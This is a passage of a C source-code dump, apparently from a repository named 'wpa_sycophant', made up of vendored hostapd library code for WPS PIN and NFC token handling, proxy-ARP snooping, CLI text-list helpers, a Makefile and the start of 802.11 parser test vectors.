hostapd_wps_ap_pin_disable(hapd); wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_AP_PIN_DISABLED); } static void hostapd_wps_ap_pin_enable(struct hostapd_data *hapd, int timeout) { wpa_printf(MSG_DEBUG, "WPS: Enabling AP PIN (timeout=%d)", timeout); hapd->ap_pin_failures = 0; hapd->ap_pin_failures_consecutive = 0; hapd->conf->ap_setup_locked = 0; if (hapd->wps->ap_setup_locked) { wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_AP_SETUP_UNLOCKED); hapd->wps->ap_setup_locked = 0; wps_registrar_update_ie(hapd->wps->registrar); } eloop_cancel_timeout(hostapd_wps_ap_pin_timeout, hapd, NULL); if (timeout > 0) eloop_register_timeout(timeout, 0, hostapd_wps_ap_pin_timeout, hapd, NULL); } static int wps_ap_pin_disable(struct hostapd_data *hapd, void *ctx) { os_free(hapd->conf->ap_pin); hapd->conf->ap_pin = NULL; #ifdef CONFIG_WPS_UPNP upnp_wps_set_ap_pin(hapd->wps_upnp, NULL); #endif /* CONFIG_WPS_UPNP */ eloop_cancel_timeout(hostapd_wps_ap_pin_timeout, hapd, NULL); return 0; } void hostapd_wps_ap_pin_disable(struct hostapd_data *hapd) { wpa_printf(MSG_DEBUG, "WPS: Disabling AP PIN"); hostapd_wps_for_each(hapd, wps_ap_pin_disable, NULL); } struct wps_ap_pin_data { char pin_txt[9]; int timeout; }; static int wps_ap_pin_set(struct hostapd_data *hapd, void *ctx) { struct wps_ap_pin_data *data = ctx; if (!hapd->wps) return 0; os_free(hapd->conf->ap_pin); hapd->conf->ap_pin = os_strdup(data->pin_txt); #ifdef CONFIG_WPS_UPNP upnp_wps_set_ap_pin(hapd->wps_upnp, data->pin_txt); #endif /* CONFIG_WPS_UPNP */ hostapd_wps_ap_pin_enable(hapd, data->timeout); return 0; } const char * hostapd_wps_ap_pin_random(struct hostapd_data *hapd, int timeout) { unsigned int pin; struct wps_ap_pin_data data; if (wps_generate_pin(&pin) < 0) return NULL; os_snprintf(data.pin_txt, sizeof(data.pin_txt), "%08u", pin); data.timeout = timeout; hostapd_wps_for_each(hapd, wps_ap_pin_set, &data); return hapd->conf->ap_pin; } const char * hostapd_wps_ap_pin_get(struct hostapd_data *hapd) { return hapd->conf->ap_pin; } int hostapd_wps_ap_pin_set(struct hostapd_data *hapd, const char *pin, int timeout) { struct wps_ap_pin_data data; int ret; ret = os_snprintf(data.pin_txt, sizeof(data.pin_txt), "%s", pin); if (os_snprintf_error(sizeof(data.pin_txt), ret)) return -1; data.timeout = timeout; return hostapd_wps_for_each(hapd, wps_ap_pin_set, &data); } static int wps_update_ie(struct hostapd_data *hapd, void *ctx) { if (hapd->wps) wps_registrar_update_ie(hapd->wps->registrar); return 0; } void hostapd_wps_update_ie(struct hostapd_data *hapd) { hostapd_wps_for_each(hapd, wps_update_ie, NULL); } int hostapd_wps_config_ap(struct hostapd_data *hapd, const char *ssid, const char *auth, const char *encr, const char *key) { struct wps_credential cred; size_t len; os_memset(&cred, 0, sizeof(cred)); len = os_strlen(ssid); if ((len & 1) || len > 2 * sizeof(cred.ssid) || hexstr2bin(ssid, cred.ssid, len / 2)) return -1; cred.ssid_len = len / 2; if (os_strncmp(auth, "OPEN", 4) == 0) cred.auth_type = WPS_AUTH_OPEN; else if (os_strncmp(auth, "WPAPSK", 6) == 0) cred.auth_type = WPS_AUTH_WPAPSK; else if (os_strncmp(auth, "WPA2PSK", 7) == 0) cred.auth_type = WPS_AUTH_WPA2PSK; else return -1; if (encr) { if (os_strncmp(encr, "NONE", 4) == 0) cred.encr_type = WPS_ENCR_NONE; else if (os_strncmp(encr, "TKIP", 4) == 0) cred.encr_type = WPS_ENCR_TKIP; else if (os_strncmp(encr, "CCMP", 4) == 0) cred.encr_type = WPS_ENCR_AES; else return -1; } else cred.encr_type = WPS_ENCR_NONE; if (key) { len = os_strlen(key); if ((len & 1) || len > 2 * sizeof(cred.key) || hexstr2bin(key, cred.key, len / 2)) return -1; cred.key_len = len / 2; } return wps_registrar_config_ap(hapd->wps->registrar, &cred); } #ifdef CONFIG_WPS_NFC struct wps_nfc_password_token_data { const u8 *oob_dev_pw; size_t oob_dev_pw_len; int added; }; static int wps_add_nfc_password_token(struct hostapd_data *hapd, void *ctx) { struct wps_nfc_password_token_data *data = ctx; int ret; if (hapd->wps == NULL) return 0; ret = wps_registrar_add_nfc_password_token(hapd->wps->registrar, data->oob_dev_pw, data->oob_dev_pw_len); if (ret == 0) data->added++; return ret; } static int hostapd_wps_add_nfc_password_token(struct hostapd_data *hapd, struct wps_parse_attr *attr) { struct wps_nfc_password_token_data data; data.oob_dev_pw = attr->oob_dev_password; data.oob_dev_pw_len = attr->oob_dev_password_len; data.added = 0; if (hostapd_wps_for_each(hapd, wps_add_nfc_password_token, &data) < 0) return -1; return data.added ? 0 : -1; } static int hostapd_wps_nfc_tag_process(struct hostapd_data *hapd, const struct wpabuf *wps) { struct wps_parse_attr attr; wpa_hexdump_buf(MSG_DEBUG, "WPS: Received NFC tag payload", wps); if (wps_parse_msg(wps, &attr)) { wpa_printf(MSG_DEBUG, "WPS: Ignore invalid data from NFC tag"); return -1; } if (attr.oob_dev_password) return hostapd_wps_add_nfc_password_token(hapd, &attr); wpa_printf(MSG_DEBUG, "WPS: Ignore unrecognized NFC tag"); return -1; } int hostapd_wps_nfc_tag_read(struct hostapd_data *hapd, const struct wpabuf *data) { const struct wpabuf *wps = data; struct wpabuf *tmp = NULL; int ret; if (wpabuf_len(data) < 4) return -1; if (*wpabuf_head_u8(data) != 0x10) { /* Assume this contains full NDEF record */ tmp = ndef_parse_wifi(data); if (tmp == NULL) { wpa_printf(MSG_DEBUG, "WPS: Could not parse NDEF"); return -1; } wps = tmp; } ret = hostapd_wps_nfc_tag_process(hapd, wps); wpabuf_free(tmp); return ret; } struct wpabuf * hostapd_wps_nfc_config_token(struct hostapd_data *hapd, int ndef) { struct wpabuf *ret; if (hapd->wps == NULL) return NULL; ret = wps_get_oob_cred(hapd->wps, hostapd_wps_rf_band_cb(hapd), hapd->iconf->channel); if (ndef && ret) { struct wpabuf *tmp; tmp = ndef_build_wifi(ret); wpabuf_free(ret); if (tmp == NULL) return NULL; ret = tmp; } return ret; } struct wpabuf * hostapd_wps_nfc_hs_cr(struct hostapd_data *hapd, int ndef) { struct wpabuf *ret; if (hapd->wps == NULL) return NULL; if (hapd->conf->wps_nfc_dh_pubkey == NULL) { struct wps_context *wps = hapd->wps; if (wps_nfc_gen_dh(&hapd->conf->wps_nfc_dh_pubkey, &hapd->conf->wps_nfc_dh_privkey) < 0) return NULL; hostapd_wps_nfc_clear(wps); wps->ap_nfc_dev_pw_id = DEV_PW_NFC_CONNECTION_HANDOVER; wps->ap_nfc_dh_pubkey = wpabuf_dup(hapd->conf->wps_nfc_dh_pubkey); wps->ap_nfc_dh_privkey = wpabuf_dup(hapd->conf->wps_nfc_dh_privkey); if (!wps->ap_nfc_dh_pubkey || !wps->ap_nfc_dh_privkey) { hostapd_wps_nfc_clear(wps); return NULL; } } ret = wps_build_nfc_handover_sel(hapd->wps, hapd->conf->wps_nfc_dh_pubkey, hapd->own_addr, hapd->iface->freq); if (ndef && ret) { struct wpabuf *tmp; tmp = ndef_build_wifi(ret); wpabuf_free(ret); if (tmp == NULL) return NULL; ret = tmp; } return ret; } int hostapd_wps_nfc_report_handover(struct hostapd_data *hapd, const struct wpabuf *req, const struct wpabuf *sel) { struct wpabuf *wps; int ret = -1; u16 wsc_len; const u8 *pos; struct wpabuf msg; struct wps_parse_attr attr; u16 dev_pw_id; /* * Enrollee/station is always initiator of the NFC connection handover, * so use the request message here to find Enrollee public key hash. */ wps = ndef_parse_wifi(req); if (wps == NULL) return -1; wpa_printf(MSG_DEBUG, "WPS: Received application/vnd.wfa.wsc " "payload from NFC connection handover"); wpa_hexdump_buf(MSG_DEBUG, "WPS: NFC payload", wps); if (wpabuf_len(wps) < 2) { wpa_printf(MSG_DEBUG, "WPS: Too short Wi-Fi Handover Request " "Message"); goto out; } pos = wpabuf_head(wps); wsc_len = WPA_GET_BE16(pos); if (wsc_len > wpabuf_len(wps) - 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid WSC attribute length (%u) " "in rt Wi-Fi Handover Request Message", wsc_len); goto out; } pos += 2; wpa_hexdump(MSG_DEBUG, "WPS: WSC attributes in Wi-Fi Handover Request Message", pos, wsc_len); if (wsc_len < wpabuf_len(wps) - 2) { wpa_hexdump(MSG_DEBUG, "WPS: Ignore extra data after WSC attributes", pos + wsc_len, wpabuf_len(wps) - 2 - wsc_len); } wpabuf_set(&msg, pos, wsc_len); ret = wps_parse_msg(&msg, &attr); if (ret < 0) { wpa_printf(MSG_DEBUG, "WPS: Could not parse WSC attributes in " "Wi-Fi Handover Request Message"); goto out; } if (attr.oob_dev_password == NULL || attr.oob_dev_password_len < WPS_OOB_PUBKEY_HASH_LEN + 2) { wpa_printf(MSG_DEBUG, "WPS: No Out-of-Band Device Password " "included in Wi-Fi Handover Request Message"); ret = -1; goto out; } if (attr.uuid_e == NULL) { wpa_printf(MSG_DEBUG, "WPS: No UUID-E included in Wi-Fi " "Handover Request Message"); ret = -1; goto out; } wpa_hexdump(MSG_DEBUG, "WPS: UUID-E", attr.uuid_e, WPS_UUID_LEN); wpa_hexdump(MSG_DEBUG, "WPS: Out-of-Band Device Password", attr.oob_dev_password, attr.oob_dev_password_len); dev_pw_id = WPA_GET_BE16(attr.oob_dev_password + WPS_OOB_PUBKEY_HASH_LEN); if (dev_pw_id != DEV_PW_NFC_CONNECTION_HANDOVER) { wpa_printf(MSG_DEBUG, "WPS: Unexpected OOB Device Password ID " "%u in Wi-Fi Handover Request Message", dev_pw_id); ret = -1; goto out; } wpa_hexdump(MSG_DEBUG, "WPS: Enrollee Public Key hash", attr.oob_dev_password, WPS_OOB_PUBKEY_HASH_LEN); ret = wps_registrar_add_nfc_pw_token(hapd->wps->registrar, attr.oob_dev_password, DEV_PW_NFC_CONNECTION_HANDOVER, NULL, 0, 1); out: wpabuf_free(wps); return ret; } struct wpabuf * hostapd_wps_nfc_token_gen(struct hostapd_data *hapd, int ndef) { if (hapd->conf->wps_nfc_pw_from_config) { return wps_nfc_token_build(ndef, hapd->conf->wps_nfc_dev_pw_id, hapd->conf->wps_nfc_dh_pubkey, hapd->conf->wps_nfc_dev_pw); } return wps_nfc_token_gen(ndef, &hapd->conf->wps_nfc_dev_pw_id, &hapd->conf->wps_nfc_dh_pubkey, &hapd->conf->wps_nfc_dh_privkey, &hapd->conf->wps_nfc_dev_pw); } int hostapd_wps_nfc_token_enable(struct hostapd_data *hapd) { struct wps_context *wps = hapd->wps; struct wpabuf *pw; if (wps == NULL) return -1; if (!hapd->conf->wps_nfc_dh_pubkey || !hapd->conf->wps_nfc_dh_privkey || !hapd->conf->wps_nfc_dev_pw || !hapd->conf->wps_nfc_dev_pw_id) return -1; hostapd_wps_nfc_clear(wps); wpa_printf(MSG_DEBUG, "WPS: Enable NFC Tag (Dev Pw Id %u) for AP interface %s (context %p)", hapd->conf->wps_nfc_dev_pw_id, hapd->conf->iface, wps); wps->ap_nfc_dev_pw_id = hapd->conf->wps_nfc_dev_pw_id; wps->ap_nfc_dh_pubkey = wpabuf_dup(hapd->conf->wps_nfc_dh_pubkey); wps->ap_nfc_dh_privkey = wpabuf_dup(hapd->conf->wps_nfc_dh_privkey); pw = hapd->conf->wps_nfc_dev_pw; wps->ap_nfc_dev_pw = wpabuf_alloc( wpabuf_len(pw) * 2 + 1); if (wps->ap_nfc_dev_pw) { wpa_snprintf_hex_uppercase( (char *) wpabuf_put(wps->ap_nfc_dev_pw, wpabuf_len(pw) * 2), wpabuf_len(pw) * 2 + 1, wpabuf_head(pw), wpabuf_len(pw)); } if (!wps->ap_nfc_dh_pubkey || !wps->ap_nfc_dh_privkey || !wps->ap_nfc_dev_pw) { hostapd_wps_nfc_clear(wps); return -1; } return 0; } void hostapd_wps_nfc_token_disable(struct hostapd_data *hapd) { wpa_printf(MSG_DEBUG, "WPS: Disable NFC token for AP interface %s", hapd->conf->iface); hostapd_wps_nfc_clear(hapd->wps); } #endif /* CONFIG_WPS_NFC */ wpa_sycophant-master/src/ap/wps_hostapd.h000066400000000000000000000054501377436615100211420ustar00rootroot00000000000000/* * hostapd / WPS integration * Copyright (c) 2008-2012, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef WPS_HOSTAPD_H #define WPS_HOSTAPD_H #ifdef CONFIG_WPS int hostapd_init_wps(struct hostapd_data *hapd, struct hostapd_bss_config *conf); int hostapd_init_wps_complete(struct hostapd_data *hapd); void hostapd_deinit_wps(struct hostapd_data *hapd); void hostapd_update_wps(struct hostapd_data *hapd); void hostapd_wps_eap_completed(struct hostapd_data *hapd); int hostapd_wps_add_pin(struct hostapd_data *hapd, const u8 *addr, const char *uuid, const char *pin, int timeout); int hostapd_wps_button_pushed(struct hostapd_data *hapd, const u8 *p2p_dev_addr); int hostapd_wps_cancel(struct hostapd_data *hapd); int hostapd_wps_get_mib_sta(struct hostapd_data *hapd, const u8 *addr, char *buf, size_t buflen); void hostapd_wps_ap_pin_disable(struct hostapd_data *hapd); const char * hostapd_wps_ap_pin_random(struct hostapd_data *hapd, int timeout); const char * hostapd_wps_ap_pin_get(struct hostapd_data *hapd); int hostapd_wps_ap_pin_set(struct hostapd_data *hapd, const char *pin, int timeout); void hostapd_wps_update_ie(struct hostapd_data *hapd); int hostapd_wps_config_ap(struct hostapd_data *hapd, const char *ssid, const char *auth, const char *encr, const char *key); int hostapd_wps_nfc_tag_read(struct hostapd_data *hapd, const struct wpabuf *data); struct wpabuf * hostapd_wps_nfc_config_token(struct hostapd_data *hapd, int ndef); struct wpabuf * hostapd_wps_nfc_hs_cr(struct hostapd_data *hapd, int ndef); int hostapd_wps_nfc_report_handover(struct hostapd_data *hapd, const struct wpabuf *req, const struct wpabuf *sel); struct wpabuf * hostapd_wps_nfc_token_gen(struct hostapd_data *hapd, int ndef); int hostapd_wps_nfc_token_enable(struct hostapd_data *hapd); void hostapd_wps_nfc_token_disable(struct hostapd_data *hapd); #else /* CONFIG_WPS */ static inline int hostapd_init_wps(struct hostapd_data *hapd, struct hostapd_bss_config *conf) { return 0; } static inline void hostapd_deinit_wps(struct hostapd_data *hapd) { } static inline int hostapd_init_wps_complete(struct hostapd_data *hapd) { return 0; } static inline void hostapd_update_wps(struct hostapd_data *hapd) { } static inline void hostapd_wps_eap_completed(struct hostapd_data *hapd) { } static inline int hostapd_wps_get_mib_sta(struct hostapd_data *hapd, const u8 *addr, char *buf, size_t buflen) { return 0; } static inline int hostapd_wps_button_pushed(struct hostapd_data *hapd, const u8 *p2p_dev_addr) { return 0; } static inline int hostapd_wps_cancel(struct hostapd_data *hapd) { return 0; } #endif /* CONFIG_WPS */ #endif /* WPS_HOSTAPD_H */ wpa_sycophant-master/src/ap/x_snoop.c000066400000000000000000000063311377436615100202660ustar00rootroot00000000000000/* * Generic Snooping for Proxy ARP * Copyright (c) 2014, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "hostapd.h" #include "sta_info.h" #include "ap_drv_ops.h" #include "x_snoop.h" int x_snoop_init(struct hostapd_data *hapd) { struct hostapd_bss_config *conf = hapd->conf; if (!conf->isolate) { wpa_printf(MSG_DEBUG, "x_snoop: ap_isolate must be enabled for x_snoop"); return -1; } if (conf->bridge[0] == '\0') { wpa_printf(MSG_DEBUG, "x_snoop: Bridge must be configured for x_snoop"); return -1; } if (hostapd_drv_br_port_set_attr(hapd, DRV_BR_PORT_ATTR_HAIRPIN_MODE, 1)) { wpa_printf(MSG_DEBUG, "x_snoop: Failed to enable hairpin_mode on the bridge port"); return -1; } if (hostapd_drv_br_port_set_attr(hapd, DRV_BR_PORT_ATTR_PROXYARP, 1)) { wpa_printf(MSG_DEBUG, "x_snoop: Failed to enable proxyarp on the bridge port"); return -1; } if (hostapd_drv_br_set_net_param(hapd, DRV_BR_NET_PARAM_GARP_ACCEPT, 1)) { wpa_printf(MSG_DEBUG, "x_snoop: Failed to enable accepting gratuitous ARP on the bridge"); return -1; } #ifdef CONFIG_IPV6 if (hostapd_drv_br_set_net_param(hapd, DRV_BR_MULTICAST_SNOOPING, 1)) { wpa_printf(MSG_DEBUG, "x_snoop: Failed to enable multicast snooping on the bridge"); return -1; } #endif /* CONFIG_IPV6 */ return 0; } struct l2_packet_data * x_snoop_get_l2_packet(struct hostapd_data *hapd, void (*handler)(void *ctx, const u8 *src_addr, const u8 *buf, size_t len), enum l2_packet_filter_type type) { struct hostapd_bss_config *conf = hapd->conf; struct l2_packet_data *l2; l2 = l2_packet_init(conf->bridge, NULL, ETH_P_ALL, handler, hapd, 1); if (l2 == NULL) { wpa_printf(MSG_DEBUG, "x_snoop: Failed to initialize L2 packet processing %s", strerror(errno)); return NULL; } if (l2_packet_set_packet_filter(l2, type)) { wpa_printf(MSG_DEBUG, "x_snoop: Failed to set L2 packet filter for type: %d", type); l2_packet_deinit(l2); return NULL; } return l2; } void x_snoop_mcast_to_ucast_convert_send(struct hostapd_data *hapd, struct sta_info *sta, u8 *buf, size_t len) { int res; u8 addr[ETH_ALEN]; u8 *dst_addr = buf; if (!(dst_addr[0] & 0x01)) return; wpa_printf(MSG_EXCESSIVE, "x_snoop: Multicast-to-unicast conversion " MACSTR " -> " MACSTR " (len %u)", MAC2STR(dst_addr), MAC2STR(sta->addr), (unsigned int) len); /* save the multicast destination address for restoring it later */ os_memcpy(addr, buf, ETH_ALEN); os_memcpy(buf, sta->addr, ETH_ALEN); res = l2_packet_send(hapd->sock_dhcp, NULL, 0, buf, len); if (res < 0) { wpa_printf(MSG_DEBUG, "x_snoop: Failed to send mcast to ucast converted packet to " MACSTR, MAC2STR(sta->addr)); } /* restore the multicast destination address */ os_memcpy(buf, addr, ETH_ALEN); } void x_snoop_deinit(struct hostapd_data *hapd) { hostapd_drv_br_set_net_param(hapd, DRV_BR_NET_PARAM_GARP_ACCEPT, 0); hostapd_drv_br_port_set_attr(hapd, DRV_BR_PORT_ATTR_PROXYARP, 0); hostapd_drv_br_port_set_attr(hapd, DRV_BR_PORT_ATTR_HAIRPIN_MODE, 0); } wpa_sycophant-master/src/ap/x_snoop.h000066400000000000000000000024561377436615100202770ustar00rootroot00000000000000/* * Generic Snooping for Proxy ARP * Copyright (c) 2014, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef X_SNOOP_H #define X_SNOOP_H #include "l2_packet/l2_packet.h" #ifdef CONFIG_PROXYARP int x_snoop_init(struct hostapd_data *hapd); struct l2_packet_data * x_snoop_get_l2_packet(struct hostapd_data *hapd, void (*handler)(void *ctx, const u8 *src_addr, const u8 *buf, size_t len), enum l2_packet_filter_type type); void x_snoop_mcast_to_ucast_convert_send(struct hostapd_data *hapd, struct sta_info *sta, u8 *buf, size_t len); void x_snoop_deinit(struct hostapd_data *hapd); #else /* CONFIG_PROXYARP */ static inline int x_snoop_init(struct hostapd_data *hapd) { return 0; } static inline struct l2_packet_data * x_snoop_get_l2_packet(struct hostapd_data *hapd, void (*handler)(void *ctx, const u8 *src_addr, const u8 *buf, size_t len), enum l2_packet_filter_type type) { return NULL; } static inline void x_snoop_mcast_to_ucast_convert_send(struct hostapd_data *hapd, struct sta_info *sta, void *buf, size_t len) { } static inline void x_snoop_deinit(struct hostapd_data *hapd) { } #endif /* CONFIG_PROXYARP */ #endif /* X_SNOOP_H */ wpa_sycophant-master/src/common/000077500000000000000000000000001377436615100173225ustar00rootroot00000000000000wpa_sycophant-master/src/common/Makefile000066400000000000000000000007071377436615100207660ustar00rootroot00000000000000all: libcommon.a clean: rm -f *~ *.o *.d *.gcno *.gcda *.gcov libcommon.a install: @echo Nothing to be made. include ../lib.rules CFLAGS += -DCONFIG_IEEE80211R CFLAGS += -DCONFIG_IEEE80211W CFLAGS += -DCONFIG_HS20 CFLAGS += -DCONFIG_SAE CFLAGS += -DCONFIG_SUITE CFLAGS += -DCONFIG_SUITEB LIB_OBJS= \ gas.o \ hw_features_common.o \ ieee802_11_common.o \ sae.o \ wpa_common.o libcommon.a: $(LIB_OBJS) $(AR) crT $@ $? -include $(OBJS:%.o=%.d) wpa_sycophant-master/src/common/cli.c000066400000000000000000000133571377436615100202460ustar00rootroot00000000000000/* * Common hostapd/wpa_supplicant command line interface functions * Copyright (c) 2004-2016, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "includes.h" #include "utils/common.h" #include "common/cli.h" const char *const cli_license = "This software may be distributed under the terms of the BSD license.\n" "See README for more details.\n"; const char *const cli_full_license = "This software may be distributed under the terms of the BSD license.\n" "\n" "Redistribution and use in source and binary forms, with or without\n" "modification, are permitted provided that the following conditions are\n" "met:\n" "\n" "1. Redistributions of source code must retain the above copyright\n" " notice, this list of conditions and the following disclaimer.\n" "\n" "2. Redistributions in binary form must reproduce the above copyright\n" " notice, this list of conditions and the following disclaimer in the\n" " documentation and/or other materials provided with the distribution.\n" "\n" "3. Neither the name(s) of the above-listed copyright holder(s) nor the\n" " names of its contributors may be used to endorse or promote products\n" " derived from this software without specific prior written permission.\n" "\n" "THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n" "\"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n" "LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n" "A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n" "OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n" "SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n" "LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n" "DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n" "THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n" "(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n" "OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n" "\n"; void cli_txt_list_free(struct cli_txt_entry *e) { dl_list_del(&e->list); os_free(e->txt); os_free(e); } void cli_txt_list_flush(struct dl_list *list) { struct cli_txt_entry *e; while ((e = dl_list_first(list, struct cli_txt_entry, list))) cli_txt_list_free(e); } struct cli_txt_entry * cli_txt_list_get(struct dl_list *txt_list, const char *txt) { struct cli_txt_entry *e; dl_list_for_each(e, txt_list, struct cli_txt_entry, list) { if (os_strcmp(e->txt, txt) == 0) return e; } return NULL; } void cli_txt_list_del(struct dl_list *txt_list, const char *txt) { struct cli_txt_entry *e; e = cli_txt_list_get(txt_list, txt); if (e) cli_txt_list_free(e); } void cli_txt_list_del_addr(struct dl_list *txt_list, const char *txt) { u8 addr[ETH_ALEN]; char buf[18]; if (hwaddr_aton(txt, addr) < 0) return; os_snprintf(buf, sizeof(buf), MACSTR, MAC2STR(addr)); cli_txt_list_del(txt_list, buf); } void cli_txt_list_del_word(struct dl_list *txt_list, const char *txt, int separator) { const char *end; char *buf; end = os_strchr(txt, separator); if (end == NULL) end = txt + os_strlen(txt); buf = dup_binstr(txt, end - txt); if (buf == NULL) return; cli_txt_list_del(txt_list, buf); os_free(buf); } int cli_txt_list_add(struct dl_list *txt_list, const char *txt) { struct cli_txt_entry *e; e = cli_txt_list_get(txt_list, txt); if (e) return 0; e = os_zalloc(sizeof(*e)); if (e == NULL) return -1; e->txt = os_strdup(txt); if (e->txt == NULL) { os_free(e); return -1; } dl_list_add(txt_list, &e->list); return 0; } int cli_txt_list_add_addr(struct dl_list *txt_list, const char *txt) { u8 addr[ETH_ALEN]; char buf[18]; if (hwaddr_aton(txt, addr) < 0) return -1; os_snprintf(buf, sizeof(buf), MACSTR, MAC2STR(addr)); return cli_txt_list_add(txt_list, buf); } int cli_txt_list_add_word(struct dl_list *txt_list, const char *txt, int separator) { const char *end; char *buf; int ret; end = os_strchr(txt, separator); if (end == NULL) end = txt + os_strlen(txt); buf = dup_binstr(txt, end - txt); if (buf == NULL) return -1; ret = cli_txt_list_add(txt_list, buf); os_free(buf); return ret; } char ** cli_txt_list_array(struct dl_list *txt_list) { unsigned int i, count = dl_list_len(txt_list); char **res; struct cli_txt_entry *e; res = os_calloc(count + 1, sizeof(char *)); if (res == NULL) return NULL; i = 0; dl_list_for_each(e, txt_list, struct cli_txt_entry, list) { res[i] = os_strdup(e->txt); if (res[i] == NULL) break; i++; } return res; } int get_cmd_arg_num(const char *str, int pos) { int arg = 0, i; for (i = 0; i <= pos; i++) { if (str[i] != ' ') { arg++; while (i <= pos && str[i] != ' ') i++; } } if (arg > 0) arg--; return arg; } int write_cmd(char *buf, size_t buflen, const char *cmd, int argc, char *argv[]) { int i, res; char *pos, *end; pos = buf; end = buf + buflen; res = os_snprintf(pos, end - pos, "%s", cmd); if (os_snprintf_error(end - pos, res)) goto fail; pos += res; for (i = 0; i < argc; i++) { res = os_snprintf(pos, end - pos, " %s", argv[i]); if (os_snprintf_error(end - pos, res)) goto fail; pos += res; } buf[buflen - 1] = '\0'; return 0; fail: printf("Too long command\n"); return -1; } int tokenize_cmd(char *cmd, char *argv[]) { char *pos; int argc = 0; pos = cmd; for (;;) { while (*pos == ' ') pos++; if (*pos == '\0') break; argv[argc] = pos; argc++; if (argc == max_args) break; if (*pos == '"') { char *pos2 = os_strrchr(pos, '"'); if (pos2) pos = pos2 + 1; } while (*pos != '\0' && *pos != ' ') pos++; if (*pos == ' ') *pos++ = '\0'; } return argc; } wpa_sycophant-master/src/common/cli.h000066400000000000000000000025031377436615100202420ustar00rootroot00000000000000/* * Common hostapd/wpa_supplicant command line interface functionality * Copyright (c) 2004-2016, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef CLI_H #define CLI_H #include "utils/list.h" extern const char *const cli_license; extern const char *const cli_full_license; struct cli_txt_entry { struct dl_list list; char *txt; }; void cli_txt_list_free(struct cli_txt_entry *e); void cli_txt_list_flush(struct dl_list *list); struct cli_txt_entry * cli_txt_list_get(struct dl_list *txt_list, const char *txt); void cli_txt_list_del(struct dl_list *txt_list, const char *txt); void cli_txt_list_del_addr(struct dl_list *txt_list, const char *txt); void cli_txt_list_del_word(struct dl_list *txt_list, const char *txt, int separator); int cli_txt_list_add(struct dl_list *txt_list, const char *txt); int cli_txt_list_add_addr(struct dl_list *txt_list, const char *txt); int cli_txt_list_add_word(struct dl_list *txt_list, const char *txt, int separator); char ** cli_txt_list_array(struct dl_list *txt_list); int get_cmd_arg_num(const char *str, int pos); int write_cmd(char *buf, size_t buflen, const char *cmd, int argc, char *argv[]); #define max_args 10 int tokenize_cmd(char *cmd, char *argv[]); #endif /* CLI_H */ wpa_sycophant-master/src/common/common_module_tests.c000066400000000000000000000175511377436615100235560ustar00rootroot00000000000000/* * common module tests * Copyright (c) 2014-2015, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/module_tests.h" #include "ieee802_11_common.h" #include "ieee802_11_defs.h" #include "gas.h" #include "wpa_common.h" struct ieee802_11_parse_test_data { u8 *data; size_t len; ParseRes result; int count; }; static const struct ieee802_11_parse_test_data parse_tests[] = { { (u8 *) "", 0, ParseOK, 0 }, { (u8 *) " ", 1, ParseFailed, 0 }, { (u8 *) "\xff\x00", 2, ParseUnknown, 1 }, { (u8 *) "\xff\x01", 2, ParseFailed, 0 }, { (u8 *) "\xdd\x03\x01\x02\x03", 5, ParseUnknown, 1 }, { (u8 *) "\xdd\x04\x01\x02\x03\x04", 6, ParseUnknown, 1 }, { (u8 *) "\xdd\x04\x00\x50\xf2\x02", 6, ParseUnknown, 1 }, { (u8 *) "\xdd\x05\x00\x50\xf2\x02\x02", 7, ParseOK, 1 }, { (u8 *) "\xdd\x05\x00\x50\xf2\x02\xff", 7, ParseUnknown, 1 }, { (u8 *) "\xdd\x04\x00\x50\xf2\xff", 6, ParseUnknown, 1 }, { (u8 *) "\xdd\x04\x50\x6f\x9a\xff", 6, ParseUnknown, 1 }, { (u8 *) "\xdd\x04\x00\x90\x4c\x33", 6, ParseOK, 1 }, { (u8 *) "\xdd\x04\x00\x90\x4c\xff\xdd\x04\x00\x90\x4c\x33", 12, ParseUnknown, 2 }, { (u8 *) "\x10\x01\x00\x21\x00", 5, ParseOK, 2 }, { (u8 *) "\x24\x00", 2, ParseOK, 1 }, { (u8 *) "\x38\x00", 2, ParseOK, 1 }, { (u8 *) "\x54\x00", 2, ParseOK, 1 }, { (u8 *) "\x5a\x00", 2, ParseOK, 1 }, { (u8 *) "\x65\x00", 2, ParseOK, 1 }, { (u8 *) "\x65\x12\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11", 20, ParseOK, 1 }, { (u8 *) "\x6e\x00", 2, ParseOK, 1 }, { (u8 *) "\xc7\x00", 2, ParseOK, 1 }, { (u8 *) "\xc7\x01\x00", 3, ParseOK, 1 }, { (u8 *) "\x03\x00\x2a\x00\x36\x00\x37\x00\x38\x00\x2d\x00\x3d\x00\xbf\x00\xc0\x00", 18, ParseOK, 9 }, { (u8 *) "\x8b\x00", 2, ParseOK, 1 }, { (u8 *) "\xdd\x04\x00\x90\x4c\x04", 6, ParseUnknown, 1 }, { (u8 *) "\xed\x00", 2, ParseOK, 